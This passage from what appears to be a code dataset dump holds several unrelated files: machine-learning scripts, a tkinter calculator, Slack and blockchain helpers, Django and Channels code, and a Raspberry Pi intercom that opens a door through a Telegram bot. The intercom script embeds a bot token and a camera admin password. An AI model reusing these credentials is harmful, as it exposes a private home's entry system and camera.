transition_matrix= model.step(sess, sources, outputs, lengths, word_embedding, forward_only = True)\n _, correct_labels = CRF_viterbi_decode(unary_scores, transition_matrix, lengths, outputs)\n n_correct += correct_labels\n loss += L\n n_steps += 1\n n_valids += np.sum(lengths)\n\n loss = loss/(n_valids)\n acc = n_correct * 1.0 /(n_valids)\n\n\n return loss, acc\n\n\ndef CRF_viterbi_decode(unary_scores, transition_matrix, lengths, target_outputs=None):\n correct_labels = 0\n viterbi_seqs = []\n for i, (unary_score, length) in enumerate(zip(unary_scores, lengths)):\n unary_score = unary_score[:length]\n if length:\n viterbi_seq, _ = tf.contrib.crf.viterbi_decode(unary_score, transition_matrix)\n else:\n viterbi_seq = []\n viterbi_seqs.append(viterbi_seq)\n if target_outputs is not None:\n target = target_outputs[i][:length]\n correct_labels += np.sum(np.equal(viterbi_seq, target))\n return viterbi_seqs, correct_labels\n\n\ndef decode(ans=False):\n mylog_section(\"READ DATA\")\n\n from_vocab_path, to_vocab_path, real_vocab_size_from, real_vocab_size_to = data_utils.get_vocab_info(FLAGS.data_cache_dir)\n FLAGS.real_vocab_size_from = real_vocab_size_from\n FLAGS.real_vocab_size_to = real_vocab_size_to\n\n from_test = data_utils.prepare_test_data(FLAGS.data_cache_dir, FLAGS.test_path_from, from_vocab_path)\n if ans:\n to_test = os.path.join(FLAGS.data_cache_dir, \"test.tgt.ids\")\n data_utils.data_to_token_ids(FLAGS.test_path_to, to_test, to_vocab_path)\n test_data, test_max_len = data_utils.read_data(from_test, to_test)\n else:\n test_data, test_max_len = data_utils.read_test_data(from_test)\n\n test_total_size = len(test_data)\n\n # reports\n mylog_section(\"REPORT\")\n mylog(\"from_vocab_size: {}\".format(FLAGS.from_vocab_size))\n mylog(\"to_vocab_size: {}\".format(FLAGS.to_vocab_size))\n mylog(\"DECODE:\")\n mylog(\"total: {}\".format(test_total_size))\n \n config = tf.ConfigProto(allow_soft_placement=True, log_device_placement = False)\n config.gpu_options.allow_growth = FLAGS.allow_growth\n config.gpu_options.per_process_gpu_memory_fraction = 1.0\n\n mylog_section(\"IN TENSORFLOW\")\n with tf.Session(config=config) as sess:\n\n # runtime profile\n if FLAGS.profile:\n run_options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n run_metadata = tf.RunMetadata()\n else:\n run_options = None\n run_metadata = None\n\n mylog(\"Creating Model\")\n model = create_model(sess, run_options, run_metadata, test_max_len)\n \n mylog_section(\"All Variables\")\n show_all_variables()\n \n #sess.run(model.dropoutRate.assign(1.0))\n\n start_id = 0\n n_steps = 0\n batch_size = FLAGS.batch_size\n\n mylog_section(\"Data Iterators\")\n dite = DataIterator(model, test_data, batch_size)\n ite = dite.next_sequence(test = (not ans))\n\n i_sent = 0\n\n mylog_section(\"DECODING\")\n results = []\n sources = []\n targets = []\n\n n_valids = 0\n n_correct = 0\n\n if ans:\n n_valids = 0\n n_correct = 0\n for inputs, lengths, outputs in ite:\n \n mylog(\"--- decoding {}/{} sent ---\".format(i_sent, test_total_size))\n i_sent += 1\n \n L, unary_scores,transition_matrix = model.step(sess, inputs, outputs, lengths, forward_only = True)\n viterbi_seqs, correct_labels = CRF_viterbi_decode(unary_scores, transition_matrix, lengths, outputs)\n results += viterbi_seqs\n n_correct += correct_labels\n n_valids += np.sum(lengths)\n\n mylog(\"Correct Labels / Total Labels: {} / {}\".format(correct_labels, np.sum(lengths)))\n n_valids += np.sum(lengths)\n n_correct += correct_labels\n \n sources += [inputs[i][:length] for i, length in enumerate(lengths)]\n targets += [outputs[i][:length] for i, length in enumerate(lengths)]\n\n else:\n outputs = np.zeros([batch_size, test_max_len], dtype=int)\n for inputs, lengths in ite:\n # inputs: [[_GO],[1],[2],[3],[_EOS],[pad_id],[pad_id]]\n # positions: [4]\n mylog(\"--- decoding {}/{} sent ---\".format(i_sent, test_total_size))\n i_sent += 1\n \n L, unary_scores,transition_matrix = model.step(sess, inputs, outputs, lengths, forward_only = True)\n viterbi_seqs, _ = CRF_viterbi_decode(unary_scores, transition_matrix, lengths)\n results += viterbi_seqs\n mylog(\"LOSS: {}\".format(L))\n \n sources += [inputs[i][:length] for i, length in enumerate(lengths)]\n \n # do the following convert:\n # inputs: [[pad_id],[1],[2],[pad_id],[pad_id],[pad_id]]\n # positions:[2]\n data_utils.ids_to_tokens(results, to_vocab_path, FLAGS.decode_output)\n data_utils.ids_to_tokens(sources, from_vocab_path, FLAGS.decode_output+'.src')\n if ans:\n data_utils.ids_to_tokens(targets, to_vocab_path, FLAGS.decode_output+'.tgt')\n msg = \"Test_acc: {:.4f}\".format(n_correct * 1.0 /(n_valids))\n mylog(msg)\n mylog(\"Decoding finished.\")\n\n\ndef mkdir(path):\n if not os.path.exists(path):\n os.mkdir(path)\n\n\ndef parsing_flags():\n # saved_model\n\n FLAGS.data_cache_dir = os.path.join(FLAGS.model_dir, \"data_cache\")\n FLAGS.saved_model_dir = os.path.join(FLAGS.model_dir, \"saved_model\")\n FLAGS.summary_dir = FLAGS.saved_model_dir\n FLAGS.word_vector = True if os.path.exists(FLAGS.word_vec_path) else False\n\n mkdir(FLAGS.model_dir)\n mkdir(FLAGS.data_cache_dir)\n mkdir(FLAGS.saved_model_dir)\n mkdir(FLAGS.summary_dir)\n\n # for logs\n log_path = os.path.join(FLAGS.model_dir,\"log.{}.txt\".format(FLAGS.mode))\n filemode = 'w' if FLAGS.fromScratch else \"a\"\n logging.basicConfig(filename=log_path,level=logging.DEBUG, filemode = filemode)\n \n log_flags()\n\ndef main(_):\n \n parsing_flags()\n\n os.environ['CUDA_VISIBLE_DEVICES'] = ','.join(FLAGS.N)\n \n if FLAGS.mode == \"TRAIN\":\n train()\n\n \n if FLAGS.mode == 'DECODE': \n FLAGS.batch_size = 1\n FLAGS.word_vector = False\n answer = True if os.path.exists(FLAGS.test_path_to) else False\n decode(answer)\n \n logging.shutdown()\n \nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"chenhangting/py/runCNNLSTMSerial.py","file_name":"runCNNLSTMSerial.py","file_ext":"py","file_size_in_byte":22047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"289002657","text":"import tkinter\r\nfrom tkinter import *\r\n\r\n#Características de wroot\r\n\r\nclass frame():\r\n \r\n \r\n def __init__(self):\r\n \r\n \r\n #CREACIÓN DE LA VENANA PRINCIPAL\r\n self.wroot = tkinter.Tk()\r\n self.wroot.title('calculadora')\r\n self.wroot.geometry('300x450+800+150')\r\n self.wroot.pack_propagate(False)\r\n \r\n \r\n self.createLayout()\r\n \r\n def createLayout(self):\r\n \r\n \r\n \r\n \r\n #CREACIÓN DE CUADRO DE TEXTO\r\n\r\n #self.entrada = tk.Entry(self.wroot ,textvariable = self.caracter, width = 300, height = 75, bg = 'lightgreen').place(x = 0, y=0)\r\n \r\n #CREACIÓN DE LOS FRAMES. VOY A CREAR 7 FRAMES.\r\n\r\n self.fr_text = tkinter.Frame(self.wroot, width=300, height=75, bg ='lightgreen')\r\n self.fr_text.place(x=0,y=0)\r\n self.fr_text.pack_propagate(False)\r\n\r\n self.fr_hor = tkinter.Frame(self.wroot,width=300, height = 75, bg = 'orange')\r\n self.fr_hor.place(x=0, y=75)\r\n self.fr_hor.pack_propagate(False)\r\n\r\n self.fr_ver = tkinter.Frame(self.wroot,width=75, height = 300, bg = 'orange')\r\n self.fr_ver.place(x=225, y=150)\r\n self.fr_ver.pack_propagate(False)\r\n\r\n self.fr_1 = tkinter.Frame(self.wroot, width =225, height = 75, bg ='black')\r\n self.fr_1.place(x=0, y= 150)\r\n self.fr_1.pack_propagate(False)\r\n\r\n self.fr_2 = tkinter.Frame(self.wroot, width =225, height = 75, bg ='black')\r\n self.fr_2.place(x=0, y= 225)\r\n self.fr_2.pack_propagate(False)\r\n\r\n self.fr_3 = tkinter.Frame(self.wroot, width =225, height = 75, bg ='black')\r\n self.fr_3.place(x=0, y= 300)\r\n self.fr_3.pack_propagate(False)\r\n\r\n self.fr_4 = tkinter.Frame(self.wroot, width =225, height = 75, bg ='black')\r\n self.fr_4.place(x=0, y= 375)\r\n self.fr_4.pack_propagate(False)\r\n\r\n\r\n #BOTONES DE LA PRIMERA HORIZONTAL // C / X DELETE\r\n self.btn_c = tkinter.Button(self.fr_hor, text ='C', fg ='black', bg = 'orange')\r\n self.btn_c.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_dividir = tkinter.Button(self.fr_hor, text ='/', fg ='black', bg = 'orange')\r\n self.btn_dividir.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_multiplicar = tkinter.Button(self.fr_hor, text ='x', fg ='black', bg = 'orange')\r\n self.btn_multiplicar.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_delete = tkinter.Button(self.fr_hor, text ='«', fg ='black', bg = 'orange')\r\n self.btn_delete.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n #BOTONES DE LA VERTICAL // - + =\r\n\r\n self.btn_suma = tkinter.Button(self.fr_ver, text ='+', fg ='black', bg = 'orange')\r\n self.btn_suma.pack(side= tkinter.TOP, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_resta = tkinter.Button(self.fr_ver, text ='-', fg ='black', bg = 'orange')\r\n self.btn_resta.pack(side= tkinter.TOP, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_result = tkinter.Button(self.fr_ver, text ='=', fg ='black', bg = 'orange')\r\n self.btn_result.pack(side= tkinter.TOP, expand = True, fill = tkinter.BOTH)\r\n\r\n #BOTONES PRIMER LÍNEA DE NUMEROS // 7 8 9\r\n\r\n self.btn_7 = tkinter.Button(self.fr_1, text ='7', fg ='white', bg = 'black')\r\n self.btn_7.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n\r\n self.btn_8 = tkinter.Button(self.fr_1, text ='8', fg ='white', bg = 'black')\r\n self.btn_8.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_9 = tkinter.Button(self.fr_1, text ='9', fg ='white', bg = 'black')\r\n self.btn_9.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n #BOTONES SEGUNDA LÍNEA DE NUMEROS // 4 5 6\r\n\r\n self.btn_4 = tkinter.Button(self.fr_2, text ='4', fg ='white', bg = 'black')\r\n self.btn_4.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_5 = tkinter.Button(self.fr_2, text ='5', fg ='white', bg = 'black')\r\n self.btn_5.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_6 = tkinter.Button(self.fr_2, text ='6', fg ='white', bg = 'black')\r\n self.btn_6.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n #BOTONES TERCERA LÍNEA DE NUMEROS // 1 2 3\r\n\r\n self.btn_1 = tkinter.Button(self.fr_3, text ='1', fg ='white', bg = 'black')\r\n self.btn_1.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_2 = tkinter.Button(self.fr_3, text ='2', fg ='white', bg = 'black')\r\n self.btn_2.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_3 = tkinter.Button(self.fr_3, text ='3', fg ='white', bg = 'black')\r\n self.btn_3.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n\r\n #BOTONES CUARTA LÍNEA DE NUMEROS // % 0 ,\r\n\r\n self.btn_percent = tkinter.Button(self.fr_4, text ='%', fg ='white', bg = 'black')\r\n self.btn_percent.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_0 = tkinter.Button(self.fr_4, text ='0 ', fg ='white', bg = 'black')\r\n self.btn_0.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n self.btn_coma = tkinter.Button(self.fr_4, text =' , ', fg ='white', bg = 'black')\r\n self.btn_coma.pack(side= tkinter.LEFT, expand = True, fill = tkinter.BOTH)\r\n\r\n \r\n def press(self, *args):\r\n \r\n self.entrada.config(textvariable = key)\r\n \r\n \r\n def start(self):\r\n \r\n self.wroot.mainloop()\r\n\r\nclass main():\r\n \r\n def __init__(self):\r\n \r\n self.f = frame()\r\n self.f.press()\r\n self.f.start()\r\n \r\n\r\nif __name__ == '__main__':\r\n \r\n juego= main()","sub_path":"calculadoraInterfaz.py","file_name":"calculadoraInterfaz.py","file_ext":"py","file_size_in_byte":5922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"631862719","text":"from .room import SlackChannel, SlackGroup, SlackIM\nfrom .user import SlackUser\n\n\nclass SlackEvent(object):\n \"\"\"Encapsulates an event received from the RTM socket\"\"\"\n def __init__(self, sc=None, **kwargs):\n\n self._sc = sc\n self._channel = None\n self._user = None\n\n for k, v in kwargs.iteritems():\n setattr(self, k, v)\n\n @property\n def channel(self):\n return self._channel\n\n @channel.setter\n def channel(self, value):\n if isinstance(value, basestring):\n if value[0] == 'G':\n # Slack groups have an ID starting with 'G'\n self._channel = SlackGroup(value, sc=self._sc)\n elif value[0] == 'D':\n # Slack IMs have an ID starting with 'D'\n self._channel = SlackIM(value, sc=self._sc)\n else:\n self._channel = SlackChannel(value, sc=self._sc)\n else:\n self._channel = value\n\n @property\n def user(self):\n return self._user\n\n @user.setter\n def user(self, value):\n if isinstance(value, basestring):\n self._user = SlackUser(value, sc=self._sc)\n else:\n self._user = value\n","sub_path":"slackminion/slack/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"255944518","text":"from logger import *\nimport os\nimport json\n\nfrom lib.db import MemeChainDB\nfrom lib.blockchain import *\nfrom lib.memechain import MemeTx, Validate\n\n# Load configuration file\nwith open(\"config.json\", \"r\") as f:\n config = json.loads(f.read())\n\n\nclass MemechainParser(object):\n \"\"\"\n Wrapper class for various blockchain parsing functions\n used to construct the local memechain metadata database\n \"\"\"\n\n def __init__(self, block_height):\n self.block_height = block_height\n self._memetxs_raw = []\n self.memetxs = []\n\n def collect_memetxs(self):\n \"\"\"\n Method used to parse the op_return data\n for the transactions in the block\n \"\"\"\n block_txs = get_block_txs(block_height)\n\n for txid in block_txs:\n memetx = get_op_return_data(txid)\n self._memetxs_raw.append(memetx)\n\n def parse_memetxs(self):\n \"\"\"\n Method used to parse the raw memetx metadata\n \"\"\"\n for memetx in self._memetxs_raw:\n if memetx[:4] == '3ae4':\n ipfs_id = memetx[4:][:len(memetx) - 4 - 16]\n hashlink = memetx[4:][len(memetx) - 4 - 16:]\n\n self.memetxs.append({\n 'ipfs_id': ipfs_id,\n 'hashlink': hashlink\n })\n\n def return_memetxs(self):\n \"\"\"\n Method used to return the potentially valid memetxs\n\n Returns:\n Memetxs at block_height (array)\n \"\"\"\n return self.memetxs\n\n\nif __name__ == '__main__':\n # Sync logic\n pass\n","sub_path":"sync.py","file_name":"sync.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"232009823","text":"\"\"\"Utility functions used by the CLI.\"\"\"\n\nimport os\nimport fnmatch\nfrom pathlib import Path\n\nimport click\nimport re\nfrom google.cloud import bigquery\n\nfrom bigquery_etl.util.common import project_dirs\n\n\ndef is_valid_dir(ctx, param, value):\n \"\"\"Check if the parameter provided via click is an existing directory.\"\"\"\n if not os.path.isdir(value) or not os.path.exists(value):\n raise click.BadParameter(f\"Invalid directory path to {value}\")\n return value\n\n\ndef is_valid_file(ctx, param, value):\n \"\"\"Check if the parameter provided via click is an existing file.\"\"\"\n if not os.path.isfile(value) or not os.path.exists(value):\n raise click.BadParameter(f\"Invalid file path to {value}\")\n return value\n\n\ndef is_authenticated(project_id=None):\n \"\"\"Check if the user is authenticated to GCP and can access the project.\"\"\"\n client = bigquery.Client()\n\n if project_id:\n return client.project == project_id\n\n return True\n\n\ndef is_valid_project(ctx, param, value):\n \"\"\"Check if the provided project_id corresponds to an existing project.\"\"\"\n if value is None or value in [Path(p).name for p in project_dirs()]:\n return value\n raise click.BadParameter(f\"Invalid project {value}\")\n\n\ndef table_matches_patterns(pattern, invert, table):\n \"\"\"Check if tables match pattern.\"\"\"\n pattern = re.compile(fnmatch.translate(pattern))\n return (pattern.match(table) is not None) != invert\n","sub_path":"bigquery_etl/cli/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"221266842","text":"#!/usr/bin/python3\nimport RPi.GPIO as GPIO\nimport subprocess\nimport shlex\nimport time, datetime\nimport telepot\nfrom telepot.loop import MessageLoop\nfrom telepot.namedtuple import ReplyKeyboardMarkup, KeyboardButton\n\nnow = datetime.datetime.now()\ntelegram_bot = telepot.Bot('597228802:AAGHvtTRo3LWoP3gI4BdddvpHxGhC5iPsYM')\nbandera = \"False\"\n\n\ndef greeting():\n command_line = 'aplay --device plughw:CARD=Device,DEV=0 /home/pi/greeting.wav'\n args = shlex.split(command_line)\n subprocess.call(args)\n print(\"Preguntando quien es\")\n\ndef answer():\n\tcommand_line = 'sudo arecord -D plughw:1 --duration=3 -f cd /home/pi/answer.wav'\n\targs = shlex.split(command_line)\n\tsubprocess.call(args)\n\tgetCurrentPicture()\n\n\ttelegram_bot.sendPhoto(569563829, photo=open('/home/pi/visitante.jpg','rb'))\n\ttelegram_bot.sendAudio(569563829, audio=open('/home/pi/answer.wav','rb'))\n\t\n#Cuando el intercom no esta en automatico \ndef telegram():\n\ttelegram_bot.sendMessage (569563829, str(\"Estan tocando el intercom!!! y el automatico esta\" + str(bandera)))\n\ttelegram_bot.sendAudio(569563829, audio=open('/home/pi/answer.wav','rb'))\n\ndef action(msg):\n\tchat_id = msg['chat']['id']\n\tcommand = msg['text']\n\tglobal bandera\n\tif command == '/hi':\n\t telegram_bot.sendMessage (chat_id, str(\"IntercomPI Funcionando\"))\n\telif command == 'Abrir':\n\t\tGPIO.output(11, 0)\n\t\tGPIO.output(7, 0)\n\t\tGPIO.output(13, 1)\n\t\ttime.sleep(2)\n\t\tGPIO.output(13, 0)\n\t\tprint(\"tamo abriendo\")\n\t\ttelegram_bot.sendMessage (chat_id, str(\"Abriendo intercom!!!\"))\n\telif command == '/on':\n\t\tbandera = \"True\"\n\t\tprint(\"Automatico: \" + str(bandera))\n\t\ttelegram_bot.sendMessage (chat_id, str(\"Automatico: \" + str(bandera)))\n\telif command == '/off':\n\t\tbandera = \"False\"\n\t\tprint(\"Automatico: \" + str(bandera))\n\t\ttelegram_bot.sendMessage (chat_id, str(\"Automatico: \" + str(bandera)))\n\telif command == 'Status':\n\t\tprint(\"Automatico: \" + str(bandera))\n\t\ttelegram_bot.sendMessage (chat_id, str(\"Automatico: \" + str(bandera)))\n\telif command == 'Repetir':\n\t\tprint(\"Enviando Nota de Voz\")\n\t\tanswer()\n\telif command == '/probando':\n\t\tanswer()\n\t\tprint(\"Grabando y Enviando\")\n\t\ttelegram_bot.sendAudio(chat_id, audio=open('/home/pi/answer.wav','rb'))\n\t\tprint(\"Enviado\")\n\n#lee una imagen del url de la camara de seguridad\ndef getCurrentPicture():\n\timport requests\n\tfrom requests.auth import HTTPBasicAuth\n\n\timage_url = 'http://10.0.0.246/ISAPI/Streaming/channels/0700/picture?videoResolutionWidth=1920&videoResolutionHeight=1080'\n\timg_data = requests.get(image_url, auth=HTTPBasicAuth('admin', 'Acropolis12')).content\n\twith open('/home/pi/visitante.jpg', 'wb') as handler:\n\t handler.write(img_data)\n\t\n\n \ndef pulsador():\n\tif (GPIO.input(16)):\n\t\tprint(\"Tocaron la puerta\")\n\t\tGPIO.output(11, 1)\n\t\tGPIO.output(7, 1)\n\t\ttime.sleep(2)\n\t\tgreeting()\n\t\tprint(\"Respondi\")\n\t\tanswer()\n\t\tGPIO.output(11, 0)\n\t\tGPIO.output(7, 0)\n\t\tif (bandera == \"False\"):\n\t\t\tprint(\"Esperando telegram para abir\")\n\t\t\ttelegram()\n\t\tif (bandera == \"True\"):\n\t\t\tGPIO.output(13, 1)\n\t\t\ttime.sleep(2)\n\t\t\tGPIO.output(13, 0)\n\t\t\ttelegram_bot.sendMessage (569563829, str(\"Abriendo intercom!!!\"))\n\t\t\tprint(\"Abriendo\")\n\n \n \nif __name__ == '__main__':\n MessageLoop(telegram_bot, action).run_as_thread()\n try: \n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(16, GPIO.IN)\n GPIO.setwarnings(False)\n GPIO.setup(7, GPIO.OUT, initial=0) \n GPIO.setup(11, GPIO.OUT, initial=0)\n GPIO.setup(13, GPIO.OUT, initial=0)\n print(\"Try\")\n telegram_bot.sendMessage (569563829, str(\"Bienvenido a Ana Paula 801A v2\"), \n\t\treply_markup=ReplyKeyboardMarkup(\n\t\tkeyboard=[[KeyboardButton(text=\"Abrir\"), KeyboardButton(text=\"China\"), KeyboardButton(text=\"Repetir\")],[KeyboardButton(text=\"Status\"), KeyboardButton(text=\"/on\"), KeyboardButton(text=\"/off\")]])\n \t)\n while True:\n pulsador()\n \n except KeyboardInterrupt:\n GPIO.cleanup()\n exit(0)\n except Exception as e:\n print(\"Error durante ejecucion:\")\n print(e) \n finally:\n GPIO.cleanup()\n exit(1)","sub_path":"s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"276564275","text":"from django.conf import settings\nfrom django.urls import include, path\n\nfrom shared.oidc.views.eauth_views import (\n EauthAuthenticationCallbackView,\n EauthAuthenticationRequestView,\n)\nfrom shared.oidc.views.hki_views import (\n HelsinkiOIDCAuthenticationCallbackView,\n HelsinkiOIDCAuthenticationRequestView,\n HelsinkiOIDCBackchannelLogoutView,\n HelsinkiOIDCLogoutView,\n HelsinkiOIDCUserInfoView,\n)\n\nurlpatterns = []\n\nif settings.MOCK_FLAG:\n from shared.oidc.views.mock_views import (\n MockAuthenticationRequestView,\n MockLogoutView,\n MockUserInfoView,\n )\n\n urlpatterns += [\n path(\n \"authenticate/\",\n MockAuthenticationRequestView.as_view(),\n name=\"oidc_authentication_init\",\n ),\n path(\n \"logout/\",\n MockLogoutView.as_view(),\n name=\"oidc_logout\",\n ),\n path(\n \"userinfo/\",\n MockUserInfoView.as_view(),\n name=\"oidc_userinfo\",\n ),\n ]\nelse:\n urlpatterns += [\n path(\n \"authenticate/\",\n HelsinkiOIDCAuthenticationRequestView.as_view(),\n name=\"oidc_authentication_init\",\n ),\n path(\n \"callback/\",\n HelsinkiOIDCAuthenticationCallbackView.as_view(),\n name=\"oidc_authentication_callback\",\n ),\n path(\n \"logout/\",\n HelsinkiOIDCLogoutView.as_view(),\n name=\"oidc_logout\",\n ),\n path(\n \"userinfo/\",\n HelsinkiOIDCUserInfoView.as_view(),\n name=\"oidc_userinfo\",\n ),\n path(\n \"backchannel/logout/\",\n HelsinkiOIDCBackchannelLogoutView.as_view(),\n name=\"oidc_backchannel_logout\",\n ),\n path(\"\", include(\"mozilla_django_oidc.urls\")),\n path(\n \"eauthorizations/authenticate/\",\n EauthAuthenticationRequestView.as_view(),\n name=\"eauth_authentication_init\",\n ),\n path(\n \"eauthorizations/callback/\",\n EauthAuthenticationCallbackView.as_view(),\n name=\"eauth_authentication_callback\",\n ),\n ]\n","sub_path":"backend/shared/shared/oidc/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"74415845","text":"from setuptools import setup, find_packages\nfrom tag_manager import __version__\n\nversion_str = \".\".join(str(n) for n in __version__)\n\nrequires = ['django>=1.8']\n\nsetup(name='django-tag-manager',\n version=version_str,\n description='Tag management system for Django',\n url='https://github.com/cvng/django-tag-manager',\n author='cvng',\n author_email='mail@cvng.io',\n license='MIT',\n packages=find_packages(),\n install_requires=requires,\n zip_safe=False,\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Environment :: Web Environment\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n \"Framework :: Django\",\n ])\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"590132210","text":"import json\nimport logging\n\nfrom channels import Channel, Group\nfrom channels.auth import channel_session_user_from_http, channel_session_user\nfrom channels.generic.websockets import JsonWebsocketConsumer\n\nfrom .conf import MSG, ERR\nfrom .models import Game\nfrom .exceptions import ClientError\nfrom .decorators import catch_client_error\nfrom .serializers import GameUpdateSerializer\n\nlogger = logging.getLogger('game')\n\n\nclass BaseWSConsumer(JsonWebsocketConsumer):\n http_user = True\n channel_session_user = True\n\n command_handlers = {\n 'send': 'chat_send',\n 'role': 'choose_role',\n 'move': 'game_move',\n 'reset': 'game_reset',\n }\n\n def get_command_handler(self, text, **kwargs):\n handler = self.command_handlers[text['command']]\n handler = getattr(self, handler)\n return handler(text, **kwargs)\n\n def connection_groups(self, **kwargs):\n if Game.objects.get(pk=kwargs.get('room')):\n return ['game-%s' % kwargs['room'], ]\n return []\n\n @catch_client_error\n def connect(self, message, **kwargs):\n if message.user.is_anonymous:\n raise ClientError(ERR.UNAUTHENTICATED)\n\n try:\n game = kwargs.get('room')\n except AttributeError:\n raise ClientError(ERR.NO_ROOM_ID)\n\n try:\n game = Game.objects.get(pk=game)\n except Game.DoesNotExist():\n raise ClientError(ERR.ROOM_ID_INCORRECT)\n\n super().connect(message, **kwargs)\n\n if not all(game.players_dict.values()) and message.user.username not in game.players_dict.values():\n # if there are vacant roles and the user has no role, offer them to pick a role\n self.send(dict(\n type=MSG.ROLE_CHOICE,\n board=game.board,\n players=game.players_dict\n ))\n else:\n # just send an update\n self.send_update(game, individual=True)\n\n @catch_client_error\n def receive(self, text=None, bytes=None, **kwargs):\n self.get_command_handler(text, **kwargs)\n\n def chat_send(self, message, **kwargs):\n \"\"\"\n Send a message to game chat.\n \"\"\"\n message.update({'type': MSG.CHAT,\n 'user': self.message.user.username})\n\n for group in self.connection_groups(**kwargs):\n Group(group).send({'text': json.dumps(message)})\n\n def choose_role(self, message, **kwargs):\n \"\"\"\n Set a given role field (red/black) of the game to the current session\n user if it is vacant.\n \"\"\"\n game = Game.objects.get(pk=kwargs['room'])\n role = message.get('role')\n\n vacant_roles = [r for (r, p) in game.players_dict.items() if not p]\n\n if role in vacant_roles:\n setattr(game, role, self.message.user)\n game.save()\n response = dict(type=MSG.ROLE_GRANTED, role=role)\n self.send(response)\n else:\n raise ClientError(ERR.WRONG_ROLE_CHOICE)\n\n def game_move(self, message, **kwargs):\n \"\"\"\n Perform a move.\n \"\"\"\n game = Game.objects.get(pk=kwargs['room'])\n try:\n x, y = message['x'], message['y']\n for i in (x, y):\n if not (isinstance(i, int) and i < 12):\n raise KeyError\n except KeyError:\n raise ClientError(ERR.WRONG_COORDINATES)\n\n if (game.red == self.message.user and game.red_turn) or \\\n (game.black == self.message.user and not game.red_turn):\n game.move(x, y)\n\n else:\n raise ClientError(ERR.ROLE_INACTIVE)\n\n def send_update(self, game, individual=False):\n \"\"\"\n Update clients' game data. If individual == True, send message only\n to the current reply channel. Otherwise, broadcast it to\n everyone in the group.\n \"\"\"\n serializer = GameUpdateSerializer(game)\n response = dict(type=MSG.GAME_UPDATE, **serializer.data)\n\n if individual:\n self.send(response)\n else:\n game.send(**response)\n","sub_path":"game/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":4126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"446571009","text":"import os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.backends.cudnn as cudnn\nfrom utils.trainer import *\nfrom nets.my_vgg import vgg_diy\nfrom nets.resnet_pre_activation import *\nfrom nets.se_resnet import *\nfrom utils.convert_DataParallel_Model import convert_DataParallel_Model_to_Common_Model\nfrom command_parameter import *\nfrom dataset_factory import dataset_factory\n\n\n# parser from command_parameter\nargs = parser.parse_args()\n\n# setting command parameters\nargs.cuda = (not args.no_cuda) and torch.cuda.is_available()\ntorch.manual_seed(args.seed)\nif args.cuda:\n torch.cuda.manual_seed(args.seed)\ncudnn.benchmark = True\n\n# loading model and choose model\nmodel_class = [vgg_diy,preactivation_resnet164,se_resnet_34]\nmodel_dict = dict(list(zip(model_name,model_class)))\nif args.fine_tune:\n load_pkl = torch.load(args.fine_tune)\n model = model_dict[args.model](\n num_classes=args.num_classes, cfg=load_pkl['cfg'])\n model.load_state_dict(load_pkl['model_state_dict'])\n if args.teacher_model is not None:\n teacher_model = model_dict[args.model](\n num_classes=args.num_classes)\n teacher_model.load_state_dict(torch.load(args.teacher_model))\n else:\n pass\n #model = model_dict[args.model](num_classes=args.num_classes)\n # model.load_state_dict(load_pkl)\n args.save_path = os.path.join(\n args.save_path,\n 'fine_tune/' + args.model,\n args.dataset)\nelse:\n model = model_dict[args.model](num_classes=args.num_classes)\n args.save_path = os.path.join(args.save_path, args.model, args.dataset)\n\n\n# dataset choice\nkwargs = {'num_workers': args.num_workers,\n 'pin_memory': True} if args.cuda else 